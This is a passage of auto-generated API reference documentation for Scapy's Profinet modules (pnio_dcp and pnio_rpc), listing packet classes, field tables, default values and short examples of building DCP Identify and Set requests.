	sub_option

	MultiEnumField (Depends on 5)

	4



	dcp_block_length

	LenField

	3



	response

	ByteEnumField

	2



	response_sub_option

	MultiEnumField (Depends on 5)

	2



	block_error

	ByteEnumField

	0



	padding

	PadField

	b'\x00'















	
class scapy.contrib.pnio_dcp.DCPDeviceIDBlock(_pkt, /, *, option=2, sub_option=3, dcp_block_length=None, block_info=0, vendor_id=42, device_id=787, padding=b'\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_dcp.py#L294-L309]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_dcp.py#L308-L309]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OPTION    |   SUB OPTION  |        DCP BLOCK LENGTH       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           BLOCK INFO          |           VENDOR ID           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           DEVICE ID           |            PADDING            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. DCPDeviceIDBlock                       


DCPDeviceIDBlock fields






	option

	ByteEnumField

	2



	sub_option

	MultiEnumField (Depends on 2)

	3



	dcp_block_length

	LenField

	None



	block_info

	ShortEnumField

	0



	vendor_id

	XShortField

	42



	device_id

	XShortField

	787



	padding

	PadField

	b'\x00'















	
class scapy.contrib.pnio_dcp.DCPDeviceInitiativeBlock(_pkt, /, *, option=6, sub_option=1, dcp_block_length=None, block_info=0, device_initiative=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_dcp.py#L436-L450]

	Bases: Packet

device initiative DCP block


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_dcp.py#L449-L450]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OPTION    |   SUB OPTION  |        DCP BLOCK LENGTH       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           BLOCK INFO          |       DEVICE INITIATIVE       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. DCPDeviceInitiativeBlock                   


DCPDeviceInitiativeBlock fields






	option

	ByteEnumField

	6



	sub_option

	MultiEnumField (Depends on 6)

	1



	dcp_block_length

	FieldLenField

	None



	block_info

	ShortEnumField

	0



	device_initiative

	ShortField

	1















	
class scapy.contrib.pnio_dcp.DCPDeviceInstanceBlock(_pkt, /, *, option=2, sub_option=7, dcp_block_length=4, block_info=0, device_instance_high=0, device_instance_low=1, padding=b'\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_dcp.py#L381-L396]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_dcp.py#L395-L396]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OPTION    |   SUB OPTION  |        DCP BLOCK LENGTH       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           BLOCK INFO          |DEVICE INSTANCE|DEVICE INSTANCE|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            PADDING            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. DCPDeviceInstanceBlock                    


DCPDeviceInstanceBlock fields






	option

	ByteEnumField

	2



	sub_option

	MultiEnumField (Depends on 2)

	7



	dcp_block_length

	LenField

	4



	block_info

	ShortEnumField

	0



	device_instance_high

	XByteField

	0



	device_instance_low

	XByteField

	1



	padding

	PadField

	b'\x00'















	
class scapy.contrib.pnio_dcp.DCPDeviceOptionsBlock(_pkt, /, *, option=2, sub_option=5, dcp_block_length=None, block_info=0, device_options=[], padding=b'\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_dcp.py#L342-L359]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_dcp.py#L358-L359]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OPTION    |   SUB OPTION  |        DCP BLOCK LENGTH       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           BLOCK INFO          |         DEVICE OPTIONS        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            PADDING            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. DCPDeviceOptionsBlock                    


DCPDeviceOptionsBlock fields






	option

	ByteEnumField

	2



	sub_option

	MultiEnumField (Depends on 2)

	5



	dcp_block_length

	LenField

	None



	block_info

	ShortEnumField

	0



	device_options

	PacketListField

	[]



	padding

	PadField

	b'\x00'















	
class scapy.contrib.pnio_dcp.DCPDeviceRoleBlock(_pkt, /, *, option=2, sub_option=4, dcp_block_length=4, block_info=0, device_role_details=1, reserved=0, padding=b'\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_dcp.py#L312-L327]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_dcp.py#L326-L327]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OPTION    |   SUB OPTION  |        DCP BLOCK LENGTH       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           BLOCK INFO          |DEVICE ROLE DET|    RESERVED   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            PADDING            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. DCPDeviceRoleBlock                      


DCPDeviceRoleBlock fields






	option

	ByteEnumField

	2



	sub_option

	MultiEnumField (Depends on 2)

	4



	dcp_block_length

	LenField

	4



	block_info

	ShortEnumField

	0



	device_role_details

	ByteEnumField

	1



	reserved

	XByteField

	0



	padding

	PadField

	b'\x00'















	
class scapy.contrib.pnio_dcp.DCPFullIPBlock(_pkt, /, *, option=1, sub_option=3, dcp_block_length=None, block_info=1, ip='192.168.0.2', netmask='255.255.255.0', gateway='192.168.0.1', dnsaddr=[], padding=b'\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_dcp.py#L216-L234]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_dcp.py#L233-L234]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OPTION    |   SUB OPTION  |        DCP BLOCK LENGTH       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           BLOCK INFO          |               IP              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            NETMASK            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            GATEWAY            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            DNSADDR            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            PADDING            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. DCPFullIPBlock                        


DCPFullIPBlock fields






	option

	ByteEnumField

	1



	sub_option

	MultiEnumField (Depends on 1)

	3



	dcp_block_length

	LenField

	None



	block_info

	ShortEnumField

	1



	ip

	IPField

	'192.168.0.2'



	netmask

	IPField

	'255.255.255.0'



	gateway

	IPField

	'192.168.0.1'



	dnsaddr

	FieldListField

	[]



	padding

	PadField

	b'\x00'















	
class scapy.contrib.pnio_dcp.DCPIPBlock(_pkt, /, *, option=1, sub_option=2, dcp_block_length=None, block_info=1, ip='192.168.0.2', netmask='255.255.255.0', gateway='192.168.0.1', padding=b'\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_dcp.py#L197-L213]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_dcp.py#L212-L213]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OPTION    |   SUB OPTION  |        DCP BLOCK LENGTH       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           BLOCK INFO          |               IP              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            NETMASK            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            GATEWAY            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            PADDING            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. DCPIPBlock                          


DCPIPBlock fields






	option

	ByteEnumField

	1



	sub_option

	MultiEnumField (Depends on 1)

	2



	dcp_block_length

	LenField

	None



	block_info

	ShortEnumField

	1



	ip

	IPField

	'192.168.0.2'



	netmask

	IPField

	'255.255.255.0'



	gateway

	IPField

	'192.168.0.1'



	padding

	PadField

	b'\x00'















	
class scapy.contrib.pnio_dcp.DCPMACBlock(_pkt, /, *, option=1, sub_option=1, dcp_block_length=None, block_info=0, mac='00:00:00:00:00:00', padding=b'\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_dcp.py#L237-L251]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_dcp.py#L250-L251]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OPTION    |   SUB OPTION  |        DCP BLOCK LENGTH       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           BLOCK INFO          |              MAC              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            PADDING            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. DCPMACBlock                         


DCPMACBlock fields






	option

	ByteEnumField

	1



	sub_option

	MultiEnumField (Depends on 1)

	1



	dcp_block_length

	FieldLenField

	None



	block_info

	ShortEnumField

	0



	mac

	MACField

	'00:00:00:00:00:00'



	padding

	PadField

	b'\x00'















	
class scapy.contrib.pnio_dcp.DCPManufacturerSpecificBlock(_pkt, /, *, option=2, sub_option=1, dcp_block_length=None, block_info=0, device_vendor_value=b'et200sp', padding=b'\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_dcp.py#L256-L271]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_dcp.py#L270-L271]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OPTION    |   SUB OPTION  |        DCP BLOCK LENGTH       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           BLOCK INFO          |      DEVICE VENDOR VALUE      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            PADDING            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. DCPManufacturerSpecificBlock                 


DCPManufacturerSpecificBlock fields






	option

	ByteEnumField

	2



	sub_option

	MultiEnumField (Depends on 2)

	1



	dcp_block_length

	FieldLenField

	None



	block_info

	ShortEnumField

	0



	device_vendor_value

	StrLenField

	b'et200sp'



	padding

	PadField

	b'\x00'















	
class scapy.contrib.pnio_dcp.DCPNameOfStationBlock(_pkt, /, *, option=2, sub_option=2, dcp_block_length=None, block_info=0, name_of_station=b'et200sp', padding=b'\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_dcp.py#L274-L291]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_dcp.py#L290-L291]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OPTION    |   SUB OPTION  |        DCP BLOCK LENGTH       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           BLOCK INFO          |        NAME OF STATION        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            PADDING            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. DCPNameOfStationBlock                    


DCPNameOfStationBlock fields






	option

	ByteEnumField

	2



	sub_option

	MultiEnumField (Depends on 2)

	2



	dcp_block_length

	FieldLenField

	None



	block_info

	ShortEnumField

	0



	name_of_station

	StrLenField

	b'et200sp'



	padding

	PadField

	b'\x00'















	
class scapy.contrib.pnio_dcp.DCPOEMIDBlock(_pkt, /, *, option=2, sub_option=8, dcp_block_length=None, block_info=0, vendor_id=42, device_id=787, padding=b'\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_dcp.py#L399-L414]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_dcp.py#L413-L414]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OPTION    |   SUB OPTION  |        DCP BLOCK LENGTH       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           BLOCK INFO          |           VENDOR ID           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           DEVICE ID           |            PADDING            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. DCPOEMIDBlock                        


DCPOEMIDBlock fields






	option

	ByteEnumField

	2



	sub_option

	MultiEnumField (Depends on 2)

	8



	dcp_block_length

	LenField

	None



	block_info

	ShortEnumField

	0



	vendor_id

	XShortField

	42



	device_id

	XShortField

	787



	padding

	PadField

	b'\x00'















	
class scapy.contrib.pnio_dcp.DeviceOption(_pkt, /, *, option=2, sub_option=5)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_dcp.py#L331-L339]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_dcp.py#L338-L339]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     OPTION    |   SUB OPTION  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. DeviceOption                         


DeviceOption fields






	option

	ByteEnumField

	2



	sub_option

	MultiEnumField (Depends on 2)

	5















	
class scapy.contrib.pnio_dcp.ProfinetDCP(_pkt, /, *, service_id=5, service_type=0, xid=16777217, reserved=0, dcp_data_length=None, option=2, sub_option=3, dcp_block_length=0, block_qualifier=1, name_of_station=None, mac='00:00:00:00:00:00', ip='192.168.0.2', netmask='255.255.255.0', gateway='192.168.0.1', dnsaddr=[], alias_name=b'et200sp', dcp_blocks=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_dcp.py#L534-L667]

	Bases: Packet

Profinet DCP Packet

Requests are handled via ConditionalField because here only 1 Block is used
every time.

Response can contain 1..n Blocks, for that you have to use one ProfinetDCP
Layer with one or multiple DCP*Block Layers:

ProfinetDCP / DCPNameOfStationBlock / DCPDeviceIDBlock ...





Example for a DCP Identify All Request:

Ether(dst="01:0e:cf:00:00:00") /
ProfinetIO(frameID=DCP_IDENTIFY_REQUEST_FRAME_ID) /
ProfinetDCP(service_id=DCP_SERVICE_ID_IDENTIFY,
    service_type=DCP_REQUEST, option=255, sub_option=255,
    dcp_data_length=4)





Example for a DCP Identify Response:

Ether(dst=dst_mac) /
ProfinetIO(frameID=DCP_IDENTIFY_RESPONSE_FRAME_ID) /
ProfinetDCP(
    service_id=DCP_SERVICE_ID_IDENTIFY,
    service_type=DCP_RESPONSE) /
DCPNameOfStationBlock(name_of_station="device1")





Example for a DCP Set Request:

Ether(dst=mac) /
ProfinetIO(frameID=DCP_GET_SET_FRAME_ID) /
ProfinetDCP(service_id=DCP_SERVICE_ID_SET, service_type=DCP_REQUEST,
    option=2, sub_option=2, dcp_data_length=14, dcp_block_length=10,
    name_of_station=name, reserved=0)






	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   SERVICE ID  |  SERVICE TYPE |              XID              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            RESERVED           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        DCP DATA LENGTH        |     OPTION    |   SUB OPTION  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        DCP BLOCK LENGTH       |        BLOCK QUALIFIER        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        NAME OF STATION        |              MAC              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               IP                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            NETMASK                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            GATEWAY                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            DNSADDR            |           ALIAS NAME          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           DCP BLOCKS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. ProfinetDCP                         


ProfinetDCP fields






	service_id

	ByteEnumField

	5



	service_type

	ByteEnumField

	0



	xid

	XIntField

	16777217



	reserved

	ShortField

	0



	dcp_data_length

	LenField

	None



	option

	ByteEnumField (Cond)

	2



	sub_option

	MultiEnumField (Cond, Depends on 2)

	3



	dcp_block_length

	LenField (Cond)

	0



	block_qualifier

	ShortEnumField (Cond)

	1



	name_of_station

	MultipleTypeField (Cond, StrLenField, StrLenField)

	b'et200sp'



	mac

	MACField (Cond)

	'00:00:00:00:00:00'



	ip

	IPField (Cond)

	'192.168.0.2'



	netmask

	IPField (Cond)

	'255.255.255.0'



	gateway

	IPField (Cond)

	'192.168.0.1'



	dnsaddr

	FieldListField (Cond)

	[]



	alias_name

	StrLenField (Cond)

	b'et200sp'



	dcp_blocks

	PacketListField (Cond)

	[]











	
payload_guess

	Possible sublayers:
Padding






	
post_build(pkt, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_dcp.py#L661-L667]

	








	
scapy.contrib.pnio_dcp.guess_dcp_block_class(packet, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_dcp.py#L453-L529]

	returns the correct dcp block class needed to dissect the current tag
if nothing can be found -> dcp base block will be used


	Parameters:

	packet – the current packet



	Returns:

	dcp block class












            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.pnio_rpc

PNIO RPC endpoints


	
class scapy.contrib.pnio_rpc.ARBlockReq(_pkt, /, *, block_type=257, block_length=None, block_version_high=1, block_version_low=0, ARType=1, ARUUID=None, SessionKey=0, CMInitiatorMacAdd=None, CMInitiatorObjectUUID=None, ARProperties_PullModuleAlarmAllowed=0, ARProperties_StartupMode=0, ARProperties_reserved_3=0, ARProperties_reserved_2=0, ARProperties_AcknowledgeCompanionAR=0, ARProperties_CompanionAR=0, ARProperties_DeviceAccess=0, ARProperties_reserved_1=0, ARProperties_ParametrizationServer=0, ARProperties_SupervisorTakeoverAllowed=0, ARProperties_State=1, CMInitiatorActivityTimeoutFactor=1000, CMInitiatorUDPRTPort=34962, StationNameLength=None, CMInitiatorStationName=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L776-L818]

	Bases: Block

Application relationship block request


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           BLOCK TYPE          |          BLOCK LENGTH         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|BLOCK VERSION H|BLOCK VERSION L|             ARTYPE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             ARUUID                            |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           SESSIONKEY          |       CMINITIATORMACADD       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                     CMINITIATOROBJECTUUID                     |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|A|A|ARPROPERTIE|ARPROPERTIES RESERVED 2|A|ARP|A|ARPRO|A|A|ARPRO|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|CMINITIATORACTIVITYTIMEOUTFACTO|      CMINITIATORUDPRTPORT     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       STATIONNAMELENGTH       |     CMINITIATORSTATIONNAME    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. ARBlockReq                          


ARBlockReq fields






	block_type

	ShortEnumField

	257



	block_length

	ShortField

	None



	block_version_high

	ByteField

	1



	block_version_low

	ByteField

	0



	ARType

	XShortEnumField

	1



	ARUUID

	UUIDField

	None



	SessionKey

	ShortField

	0



	CMInitiatorMacAdd

	MACField

	None



	CMInitiatorObjectUUID

	UUIDField

	None



	ARProperties_PullModuleAlarmAllowed

	BitField  (1 bit)

	0



	ARProperties_StartupMode

	BitEnumField

	0



	ARProperties_reserved_3

	BitField  (6 bits)

	0



	ARProperties_reserved_2

	BitField  (12 bits)

	0



	ARProperties_AcknowledgeCompanionAR

	BitField  (1 bit)

	0



	ARProperties_CompanionAR

	BitEnumField

	0



	ARProperties_DeviceAccess

	BitEnumField

	0



	ARProperties_reserved_1

	BitField  (3 bits)

	0



	ARProperties_ParametrizationServer

	BitEnumField

	0



	ARProperties_SupervisorTakeoverAllowed

	BitField  (1 bit)

	0



	ARProperties_State

	BitEnumField

	1



	CMInitiatorActivityTimeoutFactor

	ShortField

	1000



	CMInitiatorUDPRTPort

	ShortField

	34962



	StationNameLength

	FieldLenField

	None



	CMInitiatorStationName

	StrLenField

	b''











	
get_response()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L811-L818]

	Generate the response block of this request.
Careful: it only sets the fields which can be set from the request










	
class scapy.contrib.pnio_rpc.ARBlockRes(_pkt, /, *, block_type=33025, block_length=None, block_version_high=1, block_version_low=0, ARType=1, ARUUID=None, SessionKey=0, CMResponderMacAdd=None, CMResponderUDPRTPort=34962)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pnio_rpc.py#L821-L832]

	Bases: Block

Application relationship block response


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           BLOCK TYPE          |          BLOCK LENGTH         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|BLOCK VERSION H|BLOCK VERSION L|             ARTYPE            |
